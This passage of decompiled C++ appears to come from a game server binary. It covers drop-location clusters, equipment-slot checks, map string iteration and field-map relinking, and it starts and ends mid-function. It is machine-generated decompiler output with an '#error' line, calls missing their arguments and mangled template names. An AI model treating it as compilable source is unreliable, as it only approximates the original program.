v3 = v1->sdc_Array; v4 = v3->dy1024; v5 = v3->dx1024; v3->dx1024 = v3[v2].dx1024; v3->dy1024 = v3[v2].dy1024; v6 = v1->sdc_Array; v6[v2].dx1024 = v5; v6[v2].dy1024 = v4; } //----- (00441F90) -------------------------------------------------------- void __thiscall DropLoc::SameDistanceCluster::sdc_Init(DropLoc::SameDistanceCluster *this, int number) { DropLoc::SameDistanceCluster *v2; // esi@1 void *v3; // eax@3 int v4; // ecx@3 int v5; // eax@3 v2 = this; if ( this->sdc_Array ) operator delete(this->sdc_Array); v2->sdc_Number = number; v3 = operator new__(8 * number); v4 = v2->sdc_Number; v2->sdc_Array = (DropLoc::LocationDelta *)v3; v5 = 0; if ( v4 > 0 ) { do { v2->sdc_Array[v5].dy1024 = 0; v2->sdc_Array[v5++].dx1024 = 0; } while ( v5 < v2->sdc_Number ); } v2->sdc_Store = 0; } //----- (00441FE0) -------------------------------------------------------- void __thiscall DropLoc::SameDistanceCluster::sdc_Setsixpoint(DropLoc::SameDistanceCluster *this, int x1024, int y1024) { DropLoc::SameDistanceCluster *v3; // esi@1 int v4; // edi@1 int v5; // eax@2 int v6; // ebx@2 int v7; // eax@2 int v8; // ebx@2 int v9; // eax@2 int v10; // ST18_4@2 int v11; // eax@2 int v12; // ebp@2 v3 = this; v4 = 0; do { v5 = ShineRadian::sr_degree2sr(&shineradian, v4); v6 = x1024 * ShineRadian::sr_cos1024(&shineradian, v5) / 1024; v7 = ShineRadian::sr_degree2sr(&shineradian, v4); v8 = y1024 * ShineRadian::sr_sin1024(&shineradian, v7) / 1024 + v6; v9 = ShineRadian::sr_degree2sr(&shineradian, v4); v10 = x1024 * ShineRadian::sr_sin1024(&shineradian, v9) / 1024; v11 = ShineRadian::sr_degree2sr(&shineradian, v4); v12 = y1024 * ShineRadian::sr_cos1024(&shineradian, v11) / 1024 - v10; if ( v3->sdc_Store >= v3->sdc_Number ) { AssertClass::ac_AssertFail( &shineassert, "DropLoc::SameDistanceCluster::sdc_Setdelta : Buffer overflow", v3->sdc_Store); ShineExit("DropLoc::SameDistanceCluster::sdc_Setdelta"); } v3->sdc_Array[v3->sdc_Store].dx1024 = v8; v3->sdc_Array[v3->sdc_Store].dy1024 = v12; v4 += 60; ++v3->sdc_Store; } while ( v4 < 360 ); } //----- (00442100) -------------------------------------------------------- char __thiscall DropLoc::SameDistanceCluster::sdc_Getdelta(DropLoc::SameDistanceCluster *this, int sub, SHINE_XY_TYPE *loc, int scale) { char result; // al@2 DropLoc::LocationDelta *v5; // esi@3 int v6; // eax@3 unsigned int v7; // ecx@3 unsigned int v8; // eax@5 if ( sub < this->sdc_Store ) { v5 = &this->sdc_Array[sub]; v6 = scale * v5->dy1024 / 1024; v7 = loc->x + scale * v5->dx1024 / 1024; if ( v7 ) loc->x = v7; v8 = loc->y + v6; if ( v8 ) loc->y = v8; result = 1; } else { AssertClass::ac_AssertFail(&shineassert, "DropLoc::SameDistanceCluster::sdc_Getdelta", sub); result = 0; } return result; } //----- (00442180) -------------------------------------------------------- void __thiscall DropLocationManager::DropLocationManager(DropLocationManager *this) { _eh_vector_constructor_iterator_( this, 0xCu, 32, (void (__thiscall *)(void *))DropLoc::SameDistanceCluster::SameDistanceCluster, (void (__thiscall *)(void *))DropLoc::SameDistanceCluster::_SameDistanceCluster); } //----- (004421A0) -------------------------------------------------------- void __thiscall DropLocationManager::_DropLocationManager(DropLocationManager *this) { _eh_vector_destructor_iterator_( this, 0xCu, 32, (void (__thiscall *)(void *))DropLoc::SameDistanceCluster::_SameDistanceCluster); } //----- (004421B0) -------------------------------------------------------- void __thiscall DropLocationManager::dlm_Load(DropLocationManager *this) { DropLocationManager *v1; // ebx@1 signed int v2; // ebp@4 int v3; // esi@4 void *v4; // eax@7 int v5; // edx@7 int v6; // eax@7 int v7; // esi@10 int v8; // edi@11 void *v9; // eax@13 int v10; // ecx@13 int v11; // eax@13 signed int v12; // edx@15 int v13; // ebp@15 int v14; // ebx@15 signed int i; // [sp+10h] [bp-14h]@10 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "DropLocationManager::dlm_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "DropLocationManager::dlm_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; DropLoc::SameDistanceCluster::sdc_Init(v1->dlm_array, 1); if ( v1->dlm_array[0].sdc_Store >= v1->dlm_array[0].sdc_Number ) { AssertClass::ac_AssertFail( &shineassert, "DropLoc::SameDistanceCluster::sdc_Setdelta : Buffer overflow", v1->dlm_array[0].sdc_Store); ShineExit("DropLoc::SameDistanceCluster::sdc_Setdelta"); } v1->dlm_array[0].sdc_Array[v1->dlm_array[0].sdc_Store].dx1024 = 0; v1->dlm_array[0].sdc_Array[v1->dlm_array[0].sdc_Store++].dy1024 = 0; v2 = 1; v3 = (int)&v1->dlm_array[1]; do { if ( *(_DWORD *)(v3 + 8) ) operator delete(*(void **)(v3 + 8)); *(_DWORD *)v3 = 6; v4 = operator new__(0x30u); v5 = *(_DWORD *)v3; *(_DWORD *)(v3 + 8) = v4; v6 = 0; if ( v5 > 0 ) { do { *(_DWORD *)(*(_DWORD *)(v3 + 8) + 8 * v6 + 4) = 0; *(_DWORD *)(*(_DWORD *)(v3 + 8) + 8 * v6++) = 0; } while ( v6 < *(_DWORD *)v3 ); } *(_DWORD *)(v3 + 4) = 0; DropLoc::SameDistanceCluster::sdc_Setsixpoint((DropLoc::SameDistanceCluster *)v3, (v2 + 1) / 2 << 10, 0); v2 += 2; v3 += 24; } while ( (unsigned int)v2 < 0x20 ); i = 2; v7 = (int)&v1->dlm_array[2]; do { v8 = i / 2; if ( *(_DWORD *)(v7 + 8) ) operator delete(*(void **)(v7 + 8)); *(_DWORD *)v7 = 6 * i / 2; v9 = operator new__(48 * v8); v10 = *(_DWORD *)v7; *(_DWORD *)(v7 + 8) = v9; v11 = 0; if ( v10 > 0 ) { do { *(_DWORD *)(*(_DWORD *)(v7 + 8) + 8 * v11 + 4) = 0; *(_DWORD *)(*(_DWORD *)(v7 + 8) + 8 * v11++) = 0; } while ( v11 < *(_DWORD *)v7 ); } *(_DWORD *)(v7 + 4) = 0; v12 = (signed int)((unsigned __int64)(29906716285952i64 * (v8 + 1)) >> 32) >> 3; v13 = (1024 - (v8 << 10)) / 2; v14 = v12 + ((unsigned int)v12 >> 31); if ( v8 > 0 ) { do { DropLoc::SameDistanceCluster::sdc_Setsixpoint((DropLoc::SameDistanceCluster *)v7, v13, v14); v13 += 1024; --v8; } while ( v8 ); } v7 += 24; i += 2; } while ( (unsigned int)i < 0x20 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DropLocationManager::dlm_Load"); } //----- (004423D0) -------------------------------------------------------- void __thiscall DropLocationManager::dlm_home(DropLocationManager *this, int startcluster) { DropLocationManager *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "DropLocationManager::dlm_home"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "DropLocationManager::dlm_home"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->dlm_index.cluster = startcluster; v2->dlm_index.subscript = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DropLocationManager::dlm_home"); } //----- (00442440) -------------------------------------------------------- char __thiscall DropLocationManager::dlm_next(DropLocationManager *this) { DropLocationManager *v1; // esi@1 int v2; // eax@1 int v3; // ecx@1 int v4; // eax@1 int v5; // eax@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "DropLocationManager::dlm_next"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "DropLocationManager::dlm_next"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->dlm_index.subscript + 1; v1->dlm_index.subscript = v2; v3 = v2; v4 = v1->dlm_index.cluster; if ( v3 < v1->dlm_array[v4].sdc_Store ) goto LABEL_4; v5 = v4 + 1; v1->dlm_index.subscript = 0; v1->dlm_index.cluster = v5; if ( (unsigned int)v5 < 0x20 ) { DropLoc::SameDistanceCluster::sdc_shuffle((DropLoc::SameDistanceCluster *)v1 + v5); LABEL_4: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DropLocationManager::dlm_next"); return 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DropLocationManager::dlm_next"); return 0; } //----- (00442540) -------------------------------------------------------- char __thiscall DuplicatedMenuControl::dmc_CanMenuOpen(DuplicatedMenuControl *this, unsigned __int16 menu) { DuplicatedMenuControl *v2; // esi@1 int v3; // esi@1 int v4; // ecx@1 signed int v5; // edx@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "DuplicatedMenuControl::dmc_CanMenuOpen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "DuplicatedMenuControl::dmc_CanMenuOpen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->dmc_Control; v4 = 0; v5 = 0; while ( (v3 & (1 << v4)) <= 0 || *(&DuplicatedMenuControl::dmc_Table[menu] + v5) ) { v5 += 7; ++v4; if ( v5 >= 49 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DuplicatedMenuControl::dmc_CanMenuOpen"); return 1; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DuplicatedMenuControl::dmc_CanMenuOpen"); return 0; } //----- (00442630) -------------------------------------------------------- ItemEquipEnum __thiscall EquipEnumChanger::eec_EquipLocation(EquipEnumChanger *this, ItemInfoServer *iis, ItemBag *equipment) { ItemEquipEnum result; // eax@1 EquipEnumChanger *v4; // ebx@1 signed int v5; // esi@1 char *v6; // ecx@3 int v7; // edi@5 bool v8; // zf@8 result = 0; v4 = this; v5 = -1; while ( 1 ) { ++v5; if ( v5 >= 29 ) break; v6 = v4->eec_Column[v5]; if ( v6 != (char *)-1 ) { if ( v5 < 0 ) { v6 = v4->eec_Column[0]; v7 = 0; } else { v7 = v5; } if ( *((_BYTE *)&iis->ID + (_DWORD)v6) == 1 ) { v8 = *(_WORD *)((int)equipment->vfptr->ib_GetInventoryCell(equipment, v7) + 8) == -1; result = v7; if ( v8 ) break; } } } return result; } //----- (00442680) -------------------------------------------------------- void __thiscall EquipEnumChanger::eec_ConflictWithNewEquip(EquipEnumChanger *this, ItemInfoServer *iis, EquipEnumChanger::ExclusiveCell *excell, int *excellnum, ItemBag *equipment, InventoryLocking::InventoryCellLockList *lock) { EquipEnumChanger *v6; // ebp@1 signed int v7; // esi@1 int v8; // eax@4 char *v9; // eax@9 int v10; // edi@9 int v11; // eax@12 v6 = this; v7 = -1; while ( 1 ) { ++v7; if ( v7 >= 29 ) break; if ( v6->eec_Column[v7] != (char *)-1 ) { v8 = 0; if ( *excellnum <= 0 ) { LABEL_7: if ( v7 < 0 || v7 >= 29 ) { v9 = v6->eec_Column[0]; v10 = 0; } else { v9 = v6->eec_Column[v7]; v10 = v7; } if ( *((_BYTE *)&iis->ID + (_DWORD)v9) == 2 ) { v11 = ((int (__stdcall *)(_DWORD))equipment->vfptr->ib_GetInventoryCell)(v10); if ( *(_WORD *)(v11 + 8) != -1 ) { excell[*excellnum].ec_EquipSlot = v10; excell[(*excellnum)++].ec_EquipCell = (ItemInventoryCell *)v11; } } } else { while ( excell[v8].ec_EquipSlot != v7 ) { ++v8; if ( v8 >= *excellnum ) goto LABEL_7; } } } } } //----- (00442700) -------------------------------------------------------- void __thiscall EquipEnumChanger::eec_ConflictWithOldEquip(EquipEnumChanger *this, EquipEnumChanger::ExclusiveCell *excell, int *excellnum, ItemBag *equipment, ItemEquipEnum equipslot, InventoryLocking::InventoryCellLockList *lock) { signed int v6; // edi@1 int v7; // eax@4 int v8; // ebx@9 int v9; // ebp@11 unsigned __int16 v10; // cx@11 int v11; // edx@13 int v12; // edx@16 EquipEnumChanger *v13; // [sp+10h] [bp-4h]@1 v13 = this; v6 = -1; while ( 1 ) { ++v6; if ( v6 >= 29 ) break; if ( v13->eec_Column[v6] != (char *)-1 ) { v7 = 0; if ( *excellnum <= 0 ) { LABEL_7: if ( v6 < 0 || v6 >= 29 ) v8 = 0; else v8 = v6; v9 = ((int (__stdcall *)(int))equipment->vfptr->ib_GetInventoryCell)(v8); v10 = *(_WORD *)(v9 + 8); if ( v10 != -1 ) { if ( (unsigned int)v10 >= unk_12510614 || (v11 = unk_12510DB0 + 24 * v10) == 0 || !*(_DWORD *)v11 ) return; if ( !(**(_WORD **)v11 == v10) ) { AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", **(_WORD **)v11 + 10000 * v10); return; } v12 = *(_DWORD *)(v11 + 4); if ( !v12 || v13->eec_Column[equipslot][v12] == 2 ) { excell[*excellnum].ec_EquipSlot = v8; excell[(*excellnum)++].ec_EquipCell = (ItemInventoryCell *)v9; } } } else { while ( excell[v7].ec_EquipSlot != v6 ) { ++v7; if ( v7 >= *excellnum ) goto LABEL_7; } } } } } //----- (00442810) -------------------------------------------------------- void __thiscall Name8::Name8(Name8 *this, const char *str) { *(_QWORD *)&this->n8_name[24] = 0i64; *(_QWORD *)&this->n8_name[16] = 0i64; *(_QWORD *)&this->n8_name[8] = 0i64; *(_QWORD *)&this->n8_name[0] = 0i64; strncpy(this->n8_name, str, 0x20u); } //----- (00442850) -------------------------------------------------------- int __thiscall Name8::operator__(Name8 *this, Name8 *nm) { return *(_DWORD *)&this->n8_name[0] == *(_DWORD *)&nm->n8_name[0] && *(_DWORD *)&this->n8_name[4] == *(_DWORD *)&nm->n8_name[4] && *(_DWORD *)&this->n8_name[8] == *(_DWORD *)&nm->n8_name[8] && *(_DWORD *)&this->n8_name[12] == *(_DWORD *)&nm->n8_name[12] && *(_DWORD *)&this->n8_name[16] == *(_DWORD *)&nm->n8_name[16] && *(_DWORD *)&this->n8_name[20] == *(_DWORD *)&nm->n8_name[20] && *(_DWORD *)&this->n8_name[24] == *(_DWORD *)&nm->n8_name[24] && *(_DWORD *)&this->n8_name[28] == *(_DWORD *)&nm->n8_name[28]; } //----- (004428A0) -------------------------------------------------------- void __thiscall VectorClass::VectorWithLength::_VectorWithLength(VectorClass::VectorWithLength *this) { this->vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_; } // 5A21E8: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); //----- (004428B0) -------------------------------------------------------- void __thiscall VectorClass::VectorWithLength::vwl_Scale(VectorClass::VectorWithLength *this, int newdist) { VectorClass::VectorWithLength *v2; // esi@1 int v3; // ecx@3 int v4; // edi@3 int v5; // eax@3 v2 = this; if ( !this->vwl_Length ) { this->baseclass_4.v_x = 1; this->baseclass_4.v_y = 0; this->vwl_Length = 1; } v3 = this->vwl_Length; v4 = newdist * v2->baseclass_4.v_x / v3; v5 = newdist * v2->baseclass_4.v_y / v3; v2->baseclass_4.v_x = v4; v2->baseclass_4.v_y = v5; v2->vwl_Length = DirectDistanceTable::ddt_Distance(&ddt, v4, v5); } //----- (00442910) -------------------------------------------------------- void __thiscall MapLoadLog::mll_Write(MapLoadLog *this, Name3 *mapid) { MapLoadLog *v2; // esi@1 _iobuf *v3; // edi@1 unsigned int v4; // eax@1 char *v5; // eax@1 v2 = this; this->mll_MemSize += 618328; v3 = fopen("MapLoad.txt", "a"); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_QWORD *)v5 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v5 + 2) = *(_DWORD *)&mapid->n3_name[8]; v5[12] = 0; fprintf(v3, "[%d]%s/%d\n"); ++v2->mll_Number; fclose(v3); } //----- (00442990) -------------------------------------------------------- void __thiscall MapSubString::MapSubString(MapSubString *this, char *from, char *to) { char *v3; // edx@1 char v4; // bl@2 char *v5; // edx@3 char v6; // bl@4 v3 = from; do { v4 = *v3; v3[(char *)this - from] = *v3; ++v3; } while ( v4 ); v5 = to; do { v6 = *v5; v5[this->mss_To - to] = *v5; ++v5; } while ( v6 ); } //----- (004429D0) -------------------------------------------------------- void __thiscall MapSubString::mss_Home(MapSubString *this) { this->mss_Cur[0] = 45; this->mss_StrLen = strlen(this->mss_From) - 1; } //----- (00442A00) -------------------------------------------------------- char *__thiscall MapSubString::mss_Get(MapSubString *this) { return this->mss_Cur; } //----- (00442A10) -------------------------------------------------------- char __thiscall MapSubString::mss_Next(MapSubString *this) { MapSubString *v1; // ebp@1 char *v2; // edi@1 MapSubString *v3; // eax@2 char v4; // cl@3 char result; // al@4 int v6; // eax@6 v1 = this; v2 = this->mss_Cur; if ( this->mss_Cur[0] == 45 ) { v3 = this; do { v4 = v3->mss_From[0]; v3->mss_Cur[0] = v3->mss_From[0]; v3 = (MapSubString *)((char *)v3 + 1); } while ( v4 ); result = 1; } else { if ( strcmp(this->mss_Cur, this->mss_To) && (v6 = v1->mss_StrLen, v6 >= 0) ) { while ( v2[v6] >= 57 ) { --v6; v2[v6 + 1] = 48; if ( v6 < 0 ) goto LABEL_9; } ++v1->mss_Cur[v6]; result = 1; } else { LABEL_9: result = 0; } } return result; } //----- (00442AA0) -------------------------------------------------------- signed int __thiscall FieldMap::fm_Regist2WMS(int this, int lst, __int16 hnd, int arg) { int v4; // edx@1 v4 = 14 * *(_WORD *)arg + arg + 3; *(_DWORD *)v4 = *(_DWORD *)this; *(_DWORD *)(v4 + 4) = *(_DWORD *)(this + 4); *(_DWORD *)(v4 + 8) = *(_DWORD *)(this + 8); *(_BYTE *)(14 * *(_WORD *)arg + arg + 2) = *(_BYTE *)(*(_DWORD *)(this + 12) + 166); *(_BYTE *)(14 * (*(_WORD *)arg)++ + arg + 15) = *(_BYTE *)(*(_DWORD *)(this + 12) + 166) == 0; return 1; } //----- (00442B00) -------------------------------------------------------- int __thiscall FieldMap::fm_MoveCenter(int this, int xy) { int result; // eax@1 result = xy; *(_DWORD *)xy = *(_DWORD *)(this + 24) >> 1; *(_DWORD *)(xy + 4) = *(_DWORD *)(this + 28) >> 1; return result; } //----- (00442B20) -------------------------------------------------------- bool __thiscall FieldMap::fm_InMap(int this, int x, int y) { return x >= 0 && x < *(_DWORD *)(this + 24) && y >= 0 && y < *(_DWORD *)(this + 28); } //----- (00442B50) -------------------------------------------------------- void __thiscall MapRearrangeObserver::_MapRearrangeObserver(MapRearrangeObserver *this) { _eh_vector_destructor_iterator_( this, 0x24u, 128, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00442B70) -------------------------------------------------------- void __thiscall AxialListNumberCount::_AxialListNumberCount(AxialListNumberCount *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNumberCount::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5A2204: using guessed type int (__stdcall *AxialListNumberCount___vftable_)(int, int, int distancesquar); //----- (00442B80) -------------------------------------------------------- #error "442B80: undefined or illegal type '#331' (funcsize=22)" //----- (00442BC0) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // ecx@1 result = _Pnode; for ( i = _Pnode->_Right; !i->_Isnil; i = i->_Right ) result = i; return result; } //----- (00442BE0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@2 int j; // eax@3 int i; // eax@6 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( !*(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 17) ) { v2 = *(_DWORD *)(v1 + 8); if ( *(_BYTE *)(v2 + 17) ) { for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 17); i = *(_DWORD *)(i + 4) ) { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)(i + 8) ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } else { for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 17); j = *(_DWORD *)j ) v2 = j; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (00442C40) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5A2208: using guessed type int (__stdcall *List_FieldMap____vftable_[3])(__int16 hnd); //----- (00442C60) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x39u, 0x30u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00442D10) -------------------------------------------------------- void __thiscall VectorClass::VectorWithLength::VectorWithLength(VectorClass::VectorWithLength *this, SHINE_XY_TYPE *a, SHINE_XY_TYPE *b) { int v3; // ST04_4@1 int v4; // ST00_4@1 this->baseclass_4.v_x = a->x - b->x; this->baseclass_4.v_y = a->y - b->y; v3 = this->baseclass_4.v_y; v4 = this->baseclass_4.v_x; this->vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_; this->vwl_Length = DirectDistanceTable::ddt_Distance(&ddt, v4, v3); } // 5A21E8: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); //----- (00442D50) -------------------------------------------------------- void __thiscall FieldMap::fm_Relink(void *this, const char *from) { void *v2; // esi@1 unsigned int v3; // ebp@1 unsigned __int16 v4; // ax@2 int v5; // edi@3 int v6; // ecx@5 unsigned __int16 v7; // ax@5 int v8; // edx@5 unsigned __int16 v9; // bx@6 int v10; // eax@7 int v11; // eax@8 unsigned int v12; // ebx@16 unsigned int v13; // ebp@16 unsigned int v14; // edx@16 void **v15; // edi@16 unsigned int v16; // ebp@19 unsigned __int16 v17; // ax@20 int v18; // edi@21 int v19; // ecx@23 unsigned __int16 v20; // ax@23 int v21; // edx@23 unsigned __int16 v22; // bx@24 int v23; // eax@25 int v24; // eax@26 unsigned int v25; // [sp+28h] [bp-14h]@16 signed int froma; // [sp+40h] [bp+4h]@16 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_Relink"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_Relink"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; AssertClass::ac_AssertFail(&shineassert, "FieldMap::fm_Relink : Relink", from); do { v4 = LOWORD(objtype[v3]); if ( v4 < 0xBu ) v5 = dword_1247FEFC[v4]; else v5 = dword_1247FEFC[0]; v6 = *(_DWORD *)(v5 + 8); v7 = *(_WORD *)(v6 + 12 * *(_WORD *)(v5 + 14) + 4); v8 = 3 * v7; while ( 1 ) { v9 = *(_WORD *)(v6 + 4 * v8 + 4); if ( v7 >= *(_WORD *)(v5 + 4) ) break; v10 = *(_DWORD *)(v5 + 8) + 12 * v7; if ( !*(_BYTE *)(v10 + 8) ) break; v11 = *(_DWORD *)v10; if ( !v11 ) break; if ( *(void **)(v11 + 98) == v2 ) ShineObjectClass::ShineObject::so_Reset_SlantedList((void *)v11); if ( v9 >= *(_WORD *)(v5 + 4) ) break; v8 = 3 * v9; v6 = *(_DWORD *)(v5 + 8); v7 = v9; } ++v3; } while ( v3 < 10 ); if ( *((_DWORD *)v2 + 8) && *((_DWORD *)v2 + 9) ) { (*(void (__stdcall **)(_DWORD, _DWORD, void *, _DWORD))(**((_DWORD **)v2 + 8) + 1388))(0, 0, v2, 0); (*(void (__stdcall **)(char *, char *, void *, _DWORD))(**((_DWORD **)v2 + 9) + 1388))( &wholesaver.ws_savestore[109].esc_skill.buffer[9219], &wholesaver.ws_savestore[109].esc_skill.buffer[9219], v2, 0); ShineObjectClass::ShineObject::so_Reset_SlantedList(*((void **)v2 + 8)); ShineObjectClass::ShineObject::so_Reset_SlantedList(*((void **)v2 + 9)); SlantedCoordList::CoordedNode::cn_MakeLink2( (SlantedCoordList::CoordedNode *)(*((_DWORD *)v2 + 8) + 22), (SlantedCoordList::CoordedNode *)(*((_DWORD *)v2 + 9) + 22)); SlantedCoordList::CoordedNode::cn_MakeLink2( (SlantedCoordList::CoordedNode *)(*((_DWORD *)v2 + 8) + 34), (SlantedCoordList::CoordedNode *)(*((_DWORD *)v2 + 9) + 34)); v12 = *((_DWORD *)v2 + 6) / 5u; v13 = *((_DWORD *)v2 + 6) / 0xAu; v14 = *((_DWORD *)v2 + 7) / 0xAu - v13; v15 = (void **)((char *)v2 + 40); v25 = *((_DWORD *)v2 + 7) / 0xAu - v13; froma = 5; while ( 1 ) { (*(void (__stdcall **)(unsigned int, unsigned int, void *, void *))(*(_DWORD *)*v15 + 1388))( v13, v13 + v14, v2, *v15); ShineObjectClass::ShineObject::so_Reset_SlantedList(*v15); SlantedCoordList::CoordedNode::cn_AppendList( (SlantedCoordList::CoordedNode *)((char *)*v15 + 22), (SlantedCoordList::CoordedNode *)(*((_DWORD *)v2 + 8) + 22)); SlantedCoordList::CoordedNode::cn_AppendList( (SlantedCoordList::CoordedNode *)((char *)*v15 + 34), (SlantedCoordList::CoordedNode *)(*((_DWORD *)v2 + 8) + 34)); ++v15; v13 += v12; --froma; if ( !froma ) break; v14 = v25; } v16 = 0; do { v17 = LOWORD(objtype[v16]); if ( v17 < 0xBu ) v18 = dword_1247FEFC[v17]; else v18 = dword_1247FEFC[0]; v19 = *(_DWORD *)(v18 + 8); v20 = *(_WORD *)(v19 + 12 * *(_WORD *)(v18 + 14) + 4); v21 = 3 * v20; while ( 1 ) { v22 = *(_WORD *)(v19 + 4 * v21 + 4); if ( v20 >= *(_WORD *)(v18 + 4) ) break; v23 = *(_DWORD *)(v18 + 8) + 12 * v20; if ( !*(_BYTE *)(v23 + 8) ) break; v24 = *(_DWORD *)v23; if ( !v24 ) break; if ( *(void **)(v24 + 98) == v2 ) FieldMap::fm_Marking((#331 *)v2, v24, 0, 0); if ( v22 >= *(_WORD *)(v18 + 4) ) break; v21 = 3 * v22; v19 = *(_DWORD *)(v18 + 8); v20 = v22; } ++v16; } while ( v16 < 10 ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_Relink"); } //----- (00443000) -------------------------------------------------------- void __thiscall MapRearrangeObserver::MapRearrangeObserver(MapRearrangeObserver *this) { MapRearrangeObserver *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x24u, 128, (void (__thiscall *)(void *))MapBlock::MapDoorBlockElement::MapDoorBlockElement, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->mro_Number = 0; } //----- (00443030) -------------------------------------------------------- void __thiscall MapRearrangeObserver::mro_Set(MapRearrangeObserver *this, char *idx) { MapRearrangeObserver *v2; // edi@1 unsigned int v3; // edx@1 int v4; // ebx@1 int v5; // eax@1 int v6; // esi@1 int v7; // ecx@2 int v8; // ecx@15 int v9; // eax@15 int v10; // edx@15 int v11; // ecx@15 int v12; // edx@15 int v13; // ecx@15 int v14; // edx@15 char index[4]; // [sp+Ch] [bp-24h]@1 int v16; // [sp+10h] [bp-20h]@1 int v17; // [sp+14h] [bp-1Ch]@1 int v18; // [sp+18h] [bp-18h]@1 int v19; // [sp+1Ch] [bp-14h]@1 int v20; // [sp+20h] [bp-10h]@1 int v21; // [sp+24h] [bp-Ch]@1 int v22; // [sp+28h] [bp-8h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MapRearrangeObserver::mro_Set"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapRearrangeObserver::mro_Set"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v22 = 0; v21 = 0; v20 = 0; v19 = 0; v18 = 0; v17 = 0; v16 = 0; *(_DWORD *)index = 0; strncpy(index, idx, 0x20u); v3 = v2->mro_Number; v4 = v17; v5 = 0; v6 = v16; if ( (signed int)v3 > 0 ) { v7 = (int)&v2->mro_Array[0].index.n8_name[8]; do { if ( *(_DWORD *)index == *(_DWORD *)(v7 - 8) && v16 == *(_DWORD *)(v7 - 4) && v17 == *(_DWORD *)v7 && v18 == *(_DWORD *)(v7 + 4) && v19 == *(_DWORD *)(v7 + 8) && v20 == *(_DWORD *)(v7 + 12) && v21 == *(_DWORD *)(v7 + 16) && v22 == *(_DWORD *)(v7 + 20) ) break; ++v5; v7 += 36; 